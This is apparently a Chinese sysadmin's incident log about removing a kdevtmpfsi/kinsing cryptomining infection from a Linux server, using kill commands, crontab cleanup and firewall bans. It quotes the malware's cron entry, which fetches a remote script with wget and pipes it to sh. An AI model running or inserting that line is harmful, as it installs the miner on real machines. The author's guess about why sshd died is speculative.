1.服务器响应慢,使用top查看。发现cpu%的进程是kdevtmpfsi
[root@localhost tmp]# top
top - 09:06:20 up 3 days, 18:29, 3 users, load average: 6.07, 6.39, 6.40
Tasks: 295 total, 1 running, 294 sleeping, 0 stopped, 0 zombie
%Cpu(s): 51.0 us, 1.0 sy, 0.0 ni, 47.9 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 32691004 total, 5359172 free, 23604872 used, 3726960 buff/cache
KiB Swap: 5242876 total, 3341564 free, 1901312 used. 8605784 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
8240 root 20 0 3227668 6568 0 S 587.5 0.0 493:17.97 kdevtmpfsi
15077 root 20 0 16.2g 2.5g 7388 S 12.5 8.1 80:20.88 java
1 root 20 0 191676 3540 1876 S 0.0 0.0 0:15.98 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:00.06 kthreadd
2.kdevtmpfsi进程是什么,造成占用这么高
3.百度了下原来是一个挖矿病毒。
4.先查询这个进程相关的守护进程相关的
[root@localhost tmp]# systemctl status 8240
● session-346.scope - Session 346 of user root
Loaded: loaded (/run/systemd/system/session-346.scope; static; vendor preset: disabled)
Drop-In: /run/systemd/system/session-346.scope.d
└─50-After-systemd-logind\x2eservice.conf, 50-After-systemd-user-sessions\x2eservice.conf, 50-Description.conf, 50-SendSIGHUP.conf, 50-Slice.conf, 50-TasksMax.conf
Active: active (abandoned) since 三 2023-03-08 15:28:40 CST; 1 day 17h ago
CGroup: /user.slice/user-0.slice/session-346.scope
├─ 7239 /etc/kinsing
├─ 8240 /tmp/kdevtmpfsi
通过上面的可以看的7239跟他相关,我们要先删除守护进程。
通过如下方式
删除文件
rm -f /var/tmp/kinsing
rm -f /tmp/kdevtmpfsi
kill相关的进程
ps -aux | grep kinsing |grep -v grep|cut -c 9-15 | xargs kill -9
ps -aux | grep kdevtmpfsi |grep -v grep|cut -c 9-15 | xargs kill -9
5.通过上面后top命令查看,没有再出现。可是过了一会进程又启动了,杀不了?想想估计是跟定时任务有关。
于是,查询定时任务列表。
crontab -l
* * * * * wget -q -O - http://185.122.204.197/scg.sh | sh > /dev/null 2>&1
如果有个定时任务从远程服务器拉取下来脚本执行。
6.删除定时任务列表
crontab -r
7.并且将这么ip禁止掉
--禁用ip
firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address="185.122.204.197" drop'
-- 重启防火墙
firewall-cmd --reload
并配置了定时任务
kill_kdevtmpfsi.sh脚本内容如下
ps -aux | grep kinsing |grep -v grep|cut -c 9-15 | xargs kill -9
ps -aux | grep kdevtmpfsi |grep -v grep|cut -c 9-15 | xargs kill -9
rm -f /etc/kinsing
rm -f /tmp/kdevtmpfsi
crontab -e
*/1 * * * * /tmp/kill_kdevtmpfsi.sh
8.通过上面的操作后,过后进程没有在出现。
9.这个病毒是怎么进来的?网上说是有可能是redis没有设置密码造成的。
于是重新装了redis并设置了密码。将应用的配置修改重启后,一切正常。跟老板回复可以,
一切操作干到晚上22点,回家了。回到家里,特地的访问了下网站。还是正常的。于是就洗漱睡觉了。
10.第二天由于要出差,早上让同事到了公司检查下。到了公司反馈服务器用xshell连接不上了。
心头一愣。今天准备给客户演示的,来这么招。于是让他找到服务器,直接到机器上去操作。
11.找到服务器后,上去看。发现昨天的那个进程还在,并且定时任务也启动了。头大了!!!
远程连接连接不上,估计是sshd服务挂了。于是让他看下服务的状态。
--查询sshd服务状态
service sshd status
没有启动
--启动sshd服务
systemctl start sshd
正常后回到了工位上继续操作
只能先用昨天的方法操作一般。
用命令netstat -lntupaa查看相关的连接,并封禁了相关的ip
12.查询跟病毒相关的名称
find / -name kdevtmpfsi
find / -name kinsing
也没有
查看目录下是否有其它的任务
cd /var/spool/cron
没有
13.在/tmp目录中查询有crontab.uRB4rJ这个文件,由于昨天我们自己的定时任务被删除了。
怀疑是病毒给替换了。文件里面的内容是空的。
14.通过上面的操作进程暂时没有启动。
15.病毒将nginx进程和应用的进程也都给kill掉了
系统日志
/var/log/
-- 启动的服务列表
systemctl list-unit-files
--经过这条命令能够看到的确有大量失败登陆的记录:
grep -o "Failed password" /var/log/secure|uniq -c
记录登录情况
/var/log/secure.log
记录定时任务情况
cron.log
记录的是系统日志
/var/log/messages.log
通过日志可以看出远程连接的sshd服务被kill掉了。所以导致之前的远程连接不上。
为什么被kill掉,前面大于的网络攻击导致sshd服务挂了
kernel: hid-generic 0003:046D:C34B.0001: usb_submit_urb(ctrl) failed: -19
系统温度过高。中了病毒导致cpu升高,长时间系统温度过高